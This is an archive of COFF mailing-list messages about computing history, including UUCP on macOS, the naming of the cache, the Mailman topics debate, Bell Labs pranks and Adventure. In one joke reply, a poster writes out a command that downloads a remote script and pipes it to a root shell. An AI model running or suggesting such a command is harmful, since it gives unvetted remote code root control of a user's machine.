From gtaylor at tnetconsulting.net Thu Jul 2 03:32:03 2020 From: gtaylor at tnetconsulting.net (Grant Taylor) Date: Wed, 1 Jul 2020 11:32:03 -0600 Subject: [COFF] UUCP on macOS / *BSD In-Reply-To: References: Message-ID: <9062bea2-e260-5d8c-be71-155789327da0@spamtrap.tnetconsulting.net> On 6/28/20 6:50 PM, Grant Taylor wrote: > Does anyone have any experience with UUCP on macOS or *BSD systems that > would be willing to help me figure something out? I ended up getting this to work. I don't know if it was a macOSism or a *BSDism, but the root of the problem was crossing between users via setuid / setgid in relation to OpenSSH. Two different versions of macOS behaved differently. macOS Yosemite 10.10.5 runs the underlying ssh pipe command as the user account that initiates the uucp / uuto / uux. macOS Catalina 10.15.15 runs the underlying ssh pipe command as the _uucp user, NOT the account that initiates the uucp / uuto / uux. As such, on macOS Yosemite 10.10.5, I have to have the normal user's ssh public key in the authorized_keys file on the remote system. Conversely, on macOS Catalina 10.15.15, I have to have the _uucp user's ssh public key in the authorized_keys file on the remote system. I don't know why macOS Yosemite 10.10.5 and macOS Catalina 10.15.15 are behaving differently, but they are. These inconsistencies made identifying which client ssh config file -- nominally ~/.ssh/config -- was used cumbersome. For some unknown reason, I couldn't rely on "~/" or defaults to specify the _uucp user's key (Identity) file or the known_hosts file on macOS Catalina 10.15.15, despite the fact that it was running as the _uucp user. I ended up having to hard code the paths, as they were defaulting to the original user account that initiated the uucp / uuto / uux. I can only surmise that something is fundamentally different between Linux and macOS in how it does things when changing user accounts via setuid & setgid as I did not have any of these problems on multiple Linux machines. I can further surmise that something is different between macOS Yosemite 10.10.5 and macOS Catalina 10.15.15. I don't know if this is related to System Integrity Protection or something else. -- Grant. . . . unix || die -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 4013 bytes Desc: S/MIME Cryptographic Signature URL: From cym224 at gmail.com Thu Jul 2 07:42:41 2020 From: cym224 at gmail.com (nemo nusquam) Date: Wed, 1 Jul 2020 17:42:41 -0400 Subject: [COFF] The Muffer In-Reply-To: References: Message-ID: <2d3f4920-7085-e619-e126-1147ea18a098@gmail.com> In 1966, Engineers at IBM invented a method of speeding up execution without adding a lot of very expensive memory. They called their invention the muffer. The name did not catch on so they picked another name and submitted an article to the IBM System J. The editor noted that their second name was heavily overused and suggested a third name, which the engineers accepted. The third name was cache. (Muffer was short for memory buffer.) This from "IBM's 360 and Early 370 Systems", MIT Press. I found this an amusing tidbit of history -- hopefully so may others. N. From pi at berkeley.edu Thu Jul 2 08:02:38 2020 From: pi at berkeley.edu (Paul Ivanov) Date: Wed, 1 Jul 2020 15:02:38 -0700 Subject: [COFF] The Muffer In-Reply-To: <2d3f4920-7085-e619-e126-1147ea18a098@gmail.com> References: <2d3f4920-7085-e619-e126-1147ea18a098@gmail.com> Message-ID: <20200701220238.GG474083@reef.gulag.archipelago> nemo nusquam, on 2020-07-01 17:42, wrote: > The editor noted that their second name was heavily overused > and suggested a third name, which the engineers accepted. Neat piece of trivia, but I'm broken in some way where upon reading this, my brain demands I drop everything until I learn what that second discarded name was. If, like me, your curiosity was piqued: it was "high-speed buffer." Here's the full quote from page 417 of IBM's 360 and Early 370 Systems By Emerson W. Pugh, Lyle R. Johnson, John H. Palmer: The local store, which had a standard capacity of 16 kilobytes, figured heavily in three Model 85 papers submitted to the /IBM Systems Journal/. Because /muffer/, Gibson's suggested term, had not taken root, the submitted papers designated the local store as a high-speed buffer, a name by then firmly embedded in instruction manuals for the Model 85. The papers were nearly ready for publication when the /Journal's/ editor contended that the name was too shopworn to do justice to innovation. His suggestion, /cache/, substituted with the consent of the authors, was soon adopted throughout the industry. best, pi -- _ / \ A* \^ - ,./ _.`\\ / \ / ,--.S \/ \ / `"~,_ \ \ __o ? _ \<,_ /:\ --(_)/-(_)----.../ | \ --------------.......J Paul Ivanov https://pirsquared.org | GPG/PGP key id: 0x0F3E28F7 From dave at horsfall.org Sun Jul 5 16:30:17 2020 From: dave at horsfall.org (Dave Horsfall) Date: Sun, 5 Jul 2020 16:30:17 +1000 (EST) Subject: [COFF] UUCP on macOS / *BSD In-Reply-To: <20200629153739.GH16252@mcvoy.com> References: <20200629153739.GH16252@mcvoy.com> Message-ID: On Mon, 29 Jun 2020, Larry McVoy wrote: > So UUCP, depending which version, really needed a baby sitter. I think > the latest one was sort of reliable but my ancient memory is that you > had to unwedge things on a daily basis. I found that HoneyDanBer was quite reliable, and there was only the one configuration file (IIRC). -- Dave From clemc at ccc.com Mon Jul 6 01:37:18 2020 From: clemc at ccc.com (Clem Cole) Date: Sun, 5 Jul 2020 11:37:18 -0400 Subject: [COFF] One of Graphic's Killer Bs, John Beatty has passed away Message-ID: The Internet's original graphics trio of "*Booth, Beatty, and Barsky*" (who had been affectionately dubbed the graphics industries' "*Killer Bs*") lost one for their greats minds and personalities this last week. With great sadden in my heart, I regret to inform you that John Beatty has passed away. I was informed this AM by his partner is so many enterprises, Kelly Booth, that John died peacefully in his sleep in the early morning on Thursday, July 2, 2020. When we look at the wonders of the Internet's growth in the use of computer graphics, we view his legacy. But more than that, John was a good friend of many of us and, of course, we all miss him. Kelly tells me that the obituary with further information is being prepared by John’s sister, Jean Beatty, and well as others. We'll be sure to try to pass on a copy (or a link if it is on the web) when it has been released. Clem -------------- next part -------------- An HTML attachment was scrubbed... URL: From gtaylor at tnetconsulting.net Tue Jul 7 12:11:43 2020 From: gtaylor at tnetconsulting.net (Grant Taylor) Date: Mon, 6 Jul 2020 20:11:43 -0600 Subject: [COFF] Topics... Message-ID: <8af3a571-aeb5-21fc-0041-be8649e3f9ba@spamtrap.tnetconsulting.net> On 7/6/20 7:30 PM, Greg 'groggy' Lehey wrote: > People (not just Clem), when you change the topic, can you please > modify the Subject: to match? I'm not overly interested in uucp, > but editors are a completely different matter. I'm sure I'm not the > only one, so many interested parties will miss these replies. I see this type of change happen — in my not so humble opinion — /way/ /too/ /often/. So, I'm wondering if people are interested in configuring TUHS and / or COFF mailing list (Mailman) with topics. That way people could subscribe to the topics that they are interested in and not receive copies of topics they aren't interested in. I'm assuming that TUHS and COFF are still on Mailman mailing lists and that Warren would be amicable to such. To clarify, it would still be the same mailing list(s) as they exist today. They would just have the to be utilized option of picking interesting topics. Where topics would be based on keywords in the message body. I'm just trying to gauge people's interest in this idea. -- Grant. . . . unix || die -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 4013 bytes Desc: S/MIME Cryptographic Signature URL: From athornton at gmail.com Tue Jul 7 12:56:53 2020 From: athornton at gmail.com (Adam Thornton) Date: Mon, 6 Jul 2020 19:56:53 -0700 Subject: [COFF] Topics... In-Reply-To: <8af3a571-aeb5-21fc-0041-be8649e3f9ba@spamtrap.tnetconsulting.net> References: <8af3a571-aeb5-21fc-0041-be8649e3f9ba@spamtrap.tnetconsulting.net> Message-ID: <42645CD9-E6FE-4F03-9D74-AD830409A62F@gmail.com> > On Jul 6, 2020, at 7:11 PM, Grant Taylor via COFF wrote: > > On 7/6/20 7:30 PM, Greg 'groggy' Lehey wrote: >> People (not just Clem), when you change the topic, can you please modify the Subject: to match? I'm not overly interested in uucp, but editors are a completely different matter. I'm sure I'm not the only one, so many interested parties will miss these replies. > > I see this type of change happen — in my not so humble opinion — /way/ /too/ /often/. > > So, I'm wondering if people are interested in configuring TUHS and / or COFF mailing list (Mailman) with topics. That way people could subscribe to the topics that they are interested in and not receive copies of topics they aren't interested in. > > I'm assuming that TUHS and COFF are still on Mailman mailing lists and that Warren would be amicable to such. > > To clarify, it would still be the same mailing list(s) as they exist today. They would just have the to be utilized option of picking interesting topics. Where topics would be based on keywords in the message body. > > I'm just trying to gauge people's interest in this idea. Meh. These lists aren’t so high-traffic that I feel a need to, but if it happens it won’t bother me. Adam From rtomek at ceti.pl Wed Jul 8 00:33:40 2020 From: rtomek at ceti.pl (Tomasz Rola) Date: Tue, 7 Jul 2020 16:33:40 +0200 Subject: [COFF] [TUHS] Topics... In-Reply-To: <8af3a571-aeb5-21fc-0041-be8649e3f9ba@spamtrap.tnetconsulting.net> References: <8af3a571-aeb5-21fc-0041-be8649e3f9ba@spamtrap.tnetconsulting.net> Message-ID: <20200707143340.GA20201@tau1.ceti.pl> On Mon, Jul 06, 2020 at 08:11:43PM -0600, Grant Taylor via TUHS wrote: > On 7/6/20 7:30 PM, Greg 'groggy' Lehey wrote: > >People (not just Clem), when you change the topic, can you please > >modify the Subject: to match? I'm not overly interested in uucp, > >but editors are a completely different matter. I'm sure I'm not > >the only one, so many interested parties will miss these replies. > > I see this type of change happen — in my not so humble opinion — > /way/ /too/ /often/. > > So, I'm wondering if people are interested in configuring TUHS and / > or COFF mailing list (Mailman) with topics. That way people could > subscribe to the topics that they are interested in and not receive > copies of topics they aren't interested in. [...] > I'm just trying to gauge people's interest in this idea. I would not care. I would want to get everything, because one day my interests could change (I might want to know what people said about editors, for example :-) ) and who knows, maybe a list would be gone already. I even archive the spam, just in case I want to do some big data stuff on it one day. My yearly mailbox is on par with two cdroms, so any savings would be rather minimal. And boy, the more the better. Just think about those scripts to process (hundred) thousands of mails. Displaying stuff on text terminal. Green text terminal emulator. Better than norp, if you ask me. Actually, this is norp. -- Regards, Tomasz Rola -- ** A C programmer asked whether computer had Buddha's nature. ** ** As the answer, master did "rm -rif" on the programmer's home ** ** directory. And then the C programmer became enlightened... ** ** ** ** Tomasz Rola mailto:tomasz_rola at bigfoot.com ** From salewski at att.net Wed Jul 8 00:38:43 2020 From: salewski at att.net (Alan D. Salewski) Date: Tue, 7 Jul 2020 10:38:43 -0400 Subject: [COFF] [TUHS] Topics... In-Reply-To: <8af3a571-aeb5-21fc-0041-be8649e3f9ba@spamtrap.tnetconsulting.net> References: <8af3a571-aeb5-21fc-0041-be8649e3f9ba@spamtrap.tnetconsulting.net> Message-ID: <20200707143843.GI11130@att.net> On 2020-07-06 20:11:43, Grant Taylor via TUHS spake thus: [...] > So, I'm wondering if people are interested in configuring TUHS and / or COFF > mailing list (Mailman) with topics. That way people could subscribe to the > topics that they are interested in and not receive copies of topics they > aren't interested in. [...] > To clarify, it would still be the same mailing list(s) as they exist today. > They would just have the to be utilized option of picking interesting > topics. Where topics would be based on keywords in the message body. > > I'm just trying to gauge people's interest in this idea. My preference would be to keep things the way they are. I want to receive all list messages; I would not want to switch to an arrangement where I was in danger of missing messages because my list preferences config became a little stale. -Al -- ----------------------------------------------------------------- a l a n d. s a l e w s k i salewski at att.net 1024D/FA2C3588 EDFA 195F EDF1 0933 1002 6396 7C92 5CB3 FA2C 3588 ----------------------------------------------------------------- From cowan at ccil.org Wed Jul 8 01:26:42 2020 From: cowan at ccil.org (John Cowan) Date: Tue, 7 Jul 2020 11:26:42 -0400 Subject: [COFF] [TUHS] Topics... In-Reply-To: <20200707143843.GI11130@att.net> References: <8af3a571-aeb5-21fc-0041-be8649e3f9ba@spamtrap.tnetconsulting.net> <20200707143843.GI11130@att.net> Message-ID: On Tue, Jul 7, 2020 at 10:39 AM Alan D. Salewski wrote: > I'm just trying to gauge people's interest in this idea. > > My preference would be to keep things the way they are. > > I want to receive all list messages; I would not want to switch to an > arrangement where I was in danger of missing messages because my list > preferences config became a little stale. > Very much +1. Part of the trouble is that Gmail and similar clients don't routinely show you the Subject: line to make it easy to edit it; you have to take affirmative action when you want to change the subject matter. John Cowan http://vrici.lojban.org/~cowan cowan at ccil.org It's the old, old story. Droid meets droid. Droid becomes chameleon. Droid loses chameleon, chameleon becomes blob, droid gets blob back again. It's a classic tale. --Kryten, Red Dwarf -------------- next part -------------- An HTML attachment was scrubbed... URL: From dave at horsfall.org Wed Jul 8 08:53:30 2020 From: dave at horsfall.org (Dave Horsfall) Date: Wed, 8 Jul 2020 08:53:30 +1000 (EST) Subject: [COFF] Topics... In-Reply-To: <8af3a571-aeb5-21fc-0041-be8649e3f9ba@spamtrap.tnetconsulting.net> References: <8af3a571-aeb5-21fc-0041-be8649e3f9ba@spamtrap.tnetconsulting.net> Message-ID: On Mon, 6 Jul 2020, Grant Taylor via COFF wrote: > I see this type of change happen — in my not so humble opinion — /way/ > /too/ /often/. It is the nature of unmoderated mailing lists that topics will drift over time until someone jumps in to change the Subject: (and it really ought to be a new thread) and hope that others will take the hint. Yes, I'm just as guilty as others; then again, I've also changed the subject when I realise my transgression. > So, I'm wondering if people are interested in configuring TUHS and / or > COFF mailing list (Mailman) with topics. That way people could > subscribe to the topics that they are interested in and not receive > copies of topics they aren't interested in. They would then need to see what new topics come up from time to time... > I'm assuming that TUHS and COFF are still on Mailman mailing lists and > that Warren would be amicable to such. I believe they are on Mailman, but I have little experience with running it. > To clarify, it would still be the same mailing list(s) as they exist > today. They would just have the to be utilized option of picking > interesting topics. Where topics would be based on keywords in the > message body. On one list I use, a predecessor of it used to require a subject tag in the form [Blah] (taken from a set of known tags); I've always hated that, but I'm still in the habit of putting my own tag there as a hint. -- Dave From dave at horsfall.org Wed Jul 8 12:09:42 2020 From: dave at horsfall.org (Dave Horsfall) Date: Wed, 8 Jul 2020 12:09:42 +1000 (EST) Subject: [COFF] [TUHS] Topics... In-Reply-To: <97902a98ce76c281160840d78ed838be@xs4all.nl> References: <8af3a571-aeb5-21fc-0041-be8649e3f9ba@spamtrap.tnetconsulting.net> <97902a98ce76c281160840d78ed838be@xs4all.nl> Message-ID: On Wed, 8 Jul 2020, Jacob Goense wrote: > When I have tuned out of a long running thread and the topic drifts > significantly I'm always grateful to the kind soul that tags..: > > Subject: Re: new [was: old] Yeah, I try and remember to do that... -- Dave From gtaylor at tnetconsulting.net Wed Jul 8 14:29:23 2020 From: gtaylor at tnetconsulting.net (Grant Taylor) Date: Tue, 7 Jul 2020 22:29:23 -0600 Subject: [COFF] Topics... In-Reply-To: References: <8af3a571-aeb5-21fc-0041-be8649e3f9ba@spamtrap.tnetconsulting.net> Message-ID: <3ae78d5d-b5e5-6180-dbe1-b815e424ef2d@spamtrap.tnetconsulting.net> On 7/7/20 4:53 PM, Dave Horsfall wrote: > They would then need to see what new topics come up from time to time... I would think that Warren and Co. would need to send out an email when they added new topics. > I believe they are on Mailman, but I have little experience with running > it. Yep. Mailman does have an option to "Receive all messages that don't match any topic." or some wording like that. So I think that if people set that, then they would only miss out on messages that touched on a topic that they opted to not receive. > On one list I use, a predecessor of it used to require a subject tag in > the form [Blah] (taken from a set of known tags); I've always hated > that, but I'm still in the habit of putting my own tag there as a hint. Yes, that's Mailman's default. However, it's relatively easy to have Prcomail (et al.) process the message before it goes into Mailman and scan the message body for keywords and add them to a user defined header that Mailman looks at. Thus, people don't need to include the topic in the subject. This is the make technology work for me (us) that I believe in so much. :-) -- Grant. . . . unix || die -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 4013 bytes Desc: S/MIME Cryptographic Signature URL: From gtaylor at tnetconsulting.net Wed Jul 8 14:31:46 2020 From: gtaylor at tnetconsulting.net (Grant Taylor) Date: Tue, 7 Jul 2020 22:31:46 -0600 Subject: [COFF] [TUHS] Topics... In-Reply-To: <20200707143843.GI11130@att.net> References: <8af3a571-aeb5-21fc-0041-be8649e3f9ba@spamtrap.tnetconsulting.net> <20200707143843.GI11130@att.net> Message-ID: <4d3f2f03-2aed-c274-d42c-9e930cce1120@spamtrap.tnetconsulting.net> On 7/7/20 8:38 AM, Alan D. Salewski wrote: > I want to receive all list messages; I would not want to switch to > an arrangement where I was in danger of missing messages because my > list preferences config became a little stale. I understand your concern. However, I don't think there is any real danger of not receiving messages if you set your preferences correctly. Mailman has the following per user preference: """ Do you want to receive messages that do not match any topic filter? This option only takes effect if you've subscribed to at least one topic above. It describes what the default delivery rule is for messages that don't match any topic filter. Selecting No says that if the message does not match any topic filters, then you won't get the message, while selecting Yes says to deliver such non-matching messages to you. If no topics of interest are selected above, then you will receive every message sent to the mailing list. """ -- Grant. . . . unix || die -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 4013 bytes Desc: S/MIME Cryptographic Signature URL: From clemc at ccc.com Fri Jul 10 23:59:18 2020 From: clemc at ccc.com (Clem Cole) Date: Fri, 10 Jul 2020 09:59:18 -0400 Subject: [COFF] Fwd: The Xerox Information Outlet Commercial - Looking at her future in the 1970s In-Reply-To: References: <14477BDA-8A41-4A8D-A9CF-3A2FB24E84A9@intel.com> Message-ID: As some of us remember this commercial. Predicting the future. Note that Ethernet is a bus topology at this point. Anyway, Allen Kay recently uploaded a copy of the wonderful and futurist “Xerox Information Outlet TV commercial to YouTube.” A number of us think it aired in the late 70s’, early ‘80s* i.e. *around the time of DEC/Xerox/Intel “Blue Book” definition of Ethernet. I understand the back story on the commercial is this: The PARC guys did the drawing on the wall with a pale blue pencil so the actor would see it, but the camera wouldn’t. All he had to do was trace the lines. Take 1. His delivery was perfect in but his drawing looked like a giant smashed spider. Take 2. Again, a flawless reading. This time his work of art was about 11”x17”. You had to squint to see it. The director yelled, cut! Then he said to the actor, “Come here for a second.” He came forward. “Turn around,” said the director. The actor did an about-face. They both stared at the wall. Like talking to a 4-year old, the director said, “Look...what... you... did.” “Whoops!” said the talent. Take 3. The drawing was great but he flubbed the last. .. ah damn… Take 4. Started out fine. We held our breath. Good...good...good. “...and...Cut!! Perfect!” The director shouted. https://www.youtube.com/watch?v=m2WgFpyL2Pk -------------- next part -------------- An HTML attachment was scrubbed... URL: From michael at kjorling.se Sun Jul 12 21:58:11 2020 From: michael at kjorling.se (Michael =?utf-8?B?S2rDtnJsaW5n?=) Date: Sun, 12 Jul 2020 11:58:11 +0000 Subject: [COFF] [TUHS] Monitoring by loudspeaker (was: BTL pranks) In-Reply-To: <202007120222.06C2MtdJ140032@tahoe.cs.Dartmouth.EDU> References: <20200711203020.GA1884@minnie.tuhs.org> <202007120222.06C2MtdJ140032@tahoe.cs.Dartmouth.EDU> Message-ID: <738ab925-586b-4921-b891-a4ec20348d4c@localhost> (This should probably be on COFF because I don't think this has much to do with UNIX.) On 11 Jul 2020 22:22 -0400, from doug at cs.dartmouth.edu (Doug McIlroy): > a loudspeaker hooked to the low-order bit of the accumulator played > gentle white noise in the background. The noise would turn into a > shriek when the computer got into a tight loop, How did that work? I can see how tying the low-order bit of the accumulator to a loudspeaker would generate white noise as the computer is doing work; but I fail to see how doing so would even somewhat reliably generate a shrieking sound when the computer is in a tight loop. Please, enlighten me. :-) -- Michael Kjörling • https://michael.kjorling.se • michael at kjorling.se “Remember when, on the Internet, nobody cared that you were a dog?” From crossd at gmail.com Sun Jul 12 23:25:34 2020 From: crossd at gmail.com (Dan Cross) Date: Sun, 12 Jul 2020 09:25:34 -0400 Subject: [COFF] [TUHS] Monitoring by loudspeaker (was: BTL pranks) In-Reply-To: <738ab925-586b-4921-b891-a4ec20348d4c@localhost> References: <20200711203020.GA1884@minnie.tuhs.org> <202007120222.06C2MtdJ140032@tahoe.cs.Dartmouth.EDU> <738ab925-586b-4921-b891-a4ec20348d4c@localhost> Message-ID: On Sun, Jul 12, 2020 at 7:59 AM Michael Kjörling wrote: > (This should probably be on COFF because I don't think this has much > to do with UNIX.) > > > On 11 Jul 2020 22:22 -0400, from doug at cs.dartmouth.edu (Doug McIlroy): > > a loudspeaker hooked to the low-order bit of the accumulator played > > gentle white noise in the background. The noise would turn into a > > shriek when the computer got into a tight loop, > > How did that work? I can see how tying the low-order bit of the > accumulator to a loudspeaker would generate white noise as the > computer is doing work; but I fail to see how doing so would even > somewhat reliably generate a shrieking sound when the computer is in a > tight loop. Please, enlighten me. :-) > I would imagine a cap as a low-pass filter and a transistor as a poor-man's analog comparator triggering a tape player on loop. - Dan C. -------------- next part -------------- An HTML attachment was scrubbed... URL: From jpl.jpl at gmail.com Mon Jul 13 05:49:02 2020 From: jpl.jpl at gmail.com (John P. Linderman) Date: Sun, 12 Jul 2020 15:49:02 -0400 Subject: [COFF] BTL Pranks Message-ID: > Did the non-Unix people also pull pranks like the watertower? Every year when our director, Arun Netravali of center 1135, went on vacation, Scott Knauer, a department head, would pull some kind of stunt. One year he covered the carpeting in Arun's office with green astroturf, so it looked like half of a tennis court. Another year, he recruited many of us to blow up balloons, which he collected in Arun's office by aiming a huge fan in that direction, while we pitched inflated balloons into the corridor. Scott, being Scott, completely topped off the balloons by lifting the ceiling tiles near the office door. I recall walking into Building 3 on the day Arun was scheduled to return and seeing balloons struggling to escape from every open window of his office. Building 3 lacked the large stairwells like the one that housed the Peter face made of magnets. But Scott compensated by projecting Arun's image along a long corridor, and covering it with magnets, so Arun's face was visible on a sidewall as you approached the end of the corridor. I found the playful attitude at the Labs in general as an indicator of out-of-the-box thinking that a research organization thrives on. -------------- next part -------------- An HTML attachment was scrubbed... URL: From fuz at fuz.su Mon Jul 13 00:58:22 2020 From: fuz at fuz.su (Robert Clausecker) Date: Sun, 12 Jul 2020 16:58:22 +0200 Subject: [COFF] [TUHS] Monitoring by loudspeaker (was: BTL pranks) In-Reply-To: <738ab925-586b-4921-b891-a4ec20348d4c@localhost> References: <20200711203020.GA1884@minnie.tuhs.org> <202007120222.06C2MtdJ140032@tahoe.cs.Dartmouth.EDU> <738ab925-586b-4921-b891-a4ec20348d4c@localhost> Message-ID: <20200712145822.GA72854@fuz.su> When the computer is in a tight endless loop, the accumulator takes the same series of values every time it's in the loop. Thus, instead of white noise you get a sound whose frequency is the clock frequency of the machine divided by the number of cycles spent by one loop iteration. That's how you know that the machine is stuck in an endless loop: if it was doing something useful, the values would change every iteration and you would get white noise again. Yours, Robert C On Sun, Jul 12, 2020 at 11:58:11AM +0000, Michael Kjörling wrote: > (This should probably be on COFF because I don't think this has much > to do with UNIX.) > > > On 11 Jul 2020 22:22 -0400, from doug at cs.dartmouth.edu (Doug McIlroy): > > a loudspeaker hooked to the low-order bit of the accumulator played > > gentle white noise in the background. The noise would turn into a > > shriek when the computer got into a tight loop, > > How did that work? I can see how tying the low-order bit of the > accumulator to a loudspeaker would generate white noise as the > computer is doing work; but I fail to see how doing so would even > somewhat reliably generate a shrieking sound when the computer is in a > tight loop. Please, enlighten me. :-) > > -- > Michael Kjörling • https://michael.kjorling.se • michael at kjorling.se > “Remember when, on the Internet, nobody cared that you were a dog?” > -- () ascii ribbon campaign - for an 8-bit clean world /\ - against html email - against proprietary attachments From clemc at ccc.com Thu Jul 16 03:17:32 2020 From: clemc at ccc.com (Clem Cole) Date: Wed, 15 Jul 2020 13:17:32 -0400 Subject: [COFF] =?utf-8?q?Fwd=3A_This_Woman_Inspired_One_of_the_First_Hit?= =?utf-8?q?_Video_Games_by_Mapping_the_World=E2=80=99s_Longest_Cave?= In-Reply-To: References: Message-ID: If you'll old enough to remember 'ADVENT' and been around the geeks when it was a craze on the ARPA-net in the late 70s. You might find this article which was in my feed last night: https://onezero.medium.com/the-woman-who-inspired-one-of-the-first-hit-video-games-by-mapping-the-worlds-longest-cave-ef572ccde6d2 fun. For those that did not, it was the world's first adventure game (no graphics, just solving a series of puzzles while wandering through a cave). It was originally written in Fortran-IV for the PDP-10/20 with a small assembler assist to handle RAD50 for the input. [FYI: MIT'S Haystack observatory is about 2 miles as the crow flies from my house on the top of hill next over, in the town next to mine, Westford. Groton, MA is the town after that]. This article is an interesting read (about 20 mins) with stuff I never knew. I knew a divorced Will Crowthers worked at BBN and wrote the game Adventure for his daughters to play when they visited him. I also knew that he had been a caver and that the cave in the game was modeled after Kentucky's Mammoth Caves. I did not know until a few years ago, [from a friend of my wife's, Madeliene Needles] that at some time they were living in Groton (because Crothers' ex-wife was working at Haystack with Madeliene for a while). As this article tells the story, it was Patricia Crowthers who actually did the mapping work. FWIW: As a fun factoid, today, the Stanford version is one of the tests used by the old DEC and now the Intel Fortran-2018 compiler to verify that the compiler can still compile fixed format FORTRAN-IV and ensure the resulting program still works. And of course, 'packrat Clem;' my own 'advent' map is in my filing cabinet in the basement. Written on the back of '132 column green bar' computer paper of course. Clem For the folks that are interested, more good stuff including a number of versions of the code can be found at: https://rickadams.org/adventure/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From akosela at andykosela.com Thu Jul 16 07:06:13 2020 From: akosela at andykosela.com (Andy Kosela) Date: Wed, 15 Jul 2020 23:06:13 +0200 Subject: [COFF] =?utf-8?q?Fwd=3A_This_Woman_Inspired_One_of_the_First_Hit?= =?utf-8?q?_Video_Games_by_Mapping_the_World=E2=80=99s_Longest_Cave?= In-Reply-To: References: Message-ID: On 7/15/20, Clem Cole wrote: > If you'll old enough to remember 'ADVENT' and been around the geeks when it > was a craze on the ARPA-net in the late 70s. You might find this article > which was in my feed last night: > https://onezero.medium.com/the-woman-who-inspired-one-of-the-first-hit-video-games-by-mapping-the-worlds-longest-cave-ef572ccde6d2 > fun. > > For those that did not, it was the world's first adventure game (no > graphics, just solving a series of puzzles while wandering through a > cave). It was originally written in Fortran-IV for the PDP-10/20 with a > small assembler assist to handle RAD50 for the input. [FYI: MIT'S Haystack > observatory is about 2 miles as the crow flies from my house on the top > of hill next over, in the town next to mine, Westford. Groton, MA is the > town after that]. > > This article is an interesting read (about 20 mins) with stuff I > never knew. I knew a divorced Will Crowthers worked at BBN and wrote the > game Adventure for his daughters to play when they visited him. I also > knew that he had been a caver and that the cave in the game was modeled > after Kentucky's Mammoth Caves. I did not know until a few years ago, > [from a friend of my wife's, Madeliene Needles] that at some time they were > living in Groton (because Crothers' ex-wife was working at Haystack with > Madeliene for a while). As this article tells the story, it was Patricia > Crowthers who actually did the mapping work. > > FWIW: As a fun factoid, today, the Stanford version is one of the tests > used by the old DEC and now the Intel Fortran-2018 compiler to verify that > the compiler can still compile fixed format FORTRAN-IV and ensure the > resulting program still works. And of course, 'packrat Clem;' my own > 'advent' map is in my filing cabinet in the basement. Written on the back > of '132 column green bar' computer paper of course. > > Clem > > For the folks that are interested, more good stuff including a number of > versions of the code can be found at: https://rickadams.org/adventure/ There is also an excellent Interactive Fiction documentary created by Jason Scott called "Get Lamp" where they also talk about the history of Adventure. https://youtu.be/o15itQ_EhRo --Andy From athornton at gmail.com Sun Jul 26 11:36:00 2020 From: athornton at gmail.com (Adam Thornton) Date: Sat, 25 Jul 2020 18:36:00 -0700 Subject: [COFF] [TUHS] Traditional method of dealing with embedded shar files In-Reply-To: References: <78041442-c5e5-1b5c-8565-b6d31f23ec1b@gmail.com> Message-ID: "You'd be out of your mind to blindly run the shell on some anonymous shar file..." But but but all the cool kids tell you to install their new Javascript framework with: "curl https://rocketviagra.ru/distro/latest.sh | sudo /bin/bash" Get offa my lawn. On Fri, Jul 24, 2020 at 7:01 PM Dave Horsfall wrote: > On Fri, 24 Jul 2020, Random832 wrote: > > > For whatever it's worth, you can do the exact same thing as vi with sed > > in this case: 1,/====/d > > It's been a while since I had to use it, but didn't "unshar" do this sort > of thing, and in a safe manner too? You'd be out of your mind to blindly > run the shell on some anonymous shar file... > > -- Dave > -------------- next part -------------- An HTML attachment was scrubbed... URL: From cym224 at gmail.com Thu Jul 30 06:01:05 2020 From: cym224 at gmail.com (Nemo) Date: Wed, 29 Jul 2020 16:01:05 -0400 Subject: [COFF] [TUHS] 2bsd tarball -> pdtar, with a side of uuslave In-Reply-To: <26260.1596030165@hop.toad.com> References: <6a0063f8-128d-751d-114f-a0f811d02098@gmail.com> <26260.1596030165@hop.toad.com> Message-ID: (Sent to COFF as too far afield for a subthread) On 29/07/2020, John Gilmore wrote (in part): [...] > There was another chapter to the "tar wars" after UNIX and after POSIX. First, thank you for the chapter. #6-) > I put the pdtar code into the public domain, so it could be widely used. > This produced a variety of support headaches. [...] This eventually led me to > understand more of the value in using the GNU General Public License. As everyone knows, a lot of Usenet source was released into the public domain. I have been told, time and again, by IP lawyers never to release s/w unencumbered. Without an appropriate encumbrance, the author may be liable for any damage caused by said s/w -- as insane as that sounds. (I was told that there is even case law but I cannot remember what.) So your support woes could have been worse. N. From lars at nocrew.org Fri Jul 31 17:57:00 2020 From: lars at nocrew.org (Lars Brinkhoff) Date: Fri, 31 Jul 2020 07:57:00 +0000 Subject: [COFF] [TUHS] Will pdp 11/04 run unix? In-Reply-To: <20200731071008.GA33933@indra.papnet.eu> (Angelo Papenhoff's message of "Fri, 31 Jul 2020 09:10:08 +0200") References: <20200730213720.109C018C0A5@mercury.lcs.mit.edu> <20200731071008.GA33933@indra.papnet.eu> Message-ID: <7w4kpoktgz.fsf@junk.nocrew.org> Angelo Papenhoff wrote: > Noel Chiappa wrote: >> If the KE11 is needed to run some application on the -11/04, there >> are KE11-B's (program compatible, but a single hex card) available, >> ISTR. For emulation, something (SIMH?) supports it, since the TV -11 >> on ITS (now running in emulation,I'm pretty sure) uses it. > > Well the TV-11 is a tough question. I originally wrote an 11/05 emulator > because some document said it was an 11/10 (which is the same thing). > But other sources claimed it was an 11/20. To clarify, the emulated TV-11 is *not* in any way based on SIMH. There are more machines to potentially hook up to the 10-11 interface, but I'm quite unsure if SIMH is the right vehicle for those. But this is now clearly out of TUHS territory. CC to coff only. From jnc at mercury.lcs.mit.edu Fri Jul 31 23:56:37 2020 From: jnc at mercury.lcs.mit.edu (Noel Chiappa) Date: Fri, 31 Jul 2020 09:56:37 -0400 (EDT) Subject: [COFF] [TUHS] Will pdp 11/04 run unix? Message-ID: <20200731135637.8BC2818C0C0@mercury.lcs.mit.edu> > From: Angelo Papenhoff > Well the TV-11 is a tough question. I originally wrote an 11/05 emulator > because some document said it was an 11/10 (which is the same thing). > But other sources claimed it was an 11/20. Hmmm. My memory was that it was an -11/05-10 (they are identical, except for the paint on the front panel; and I don't recall it in enough detail to say), but perhaps I'm wrong? Or maybe it was an -11/20 early, and then it got replaced with an -11/10? (I have a _very_ vague memory that the XGP's -11 was a /20, bur I wouldn't put much weight on that.) Moon or TK or someone might remember better. Noel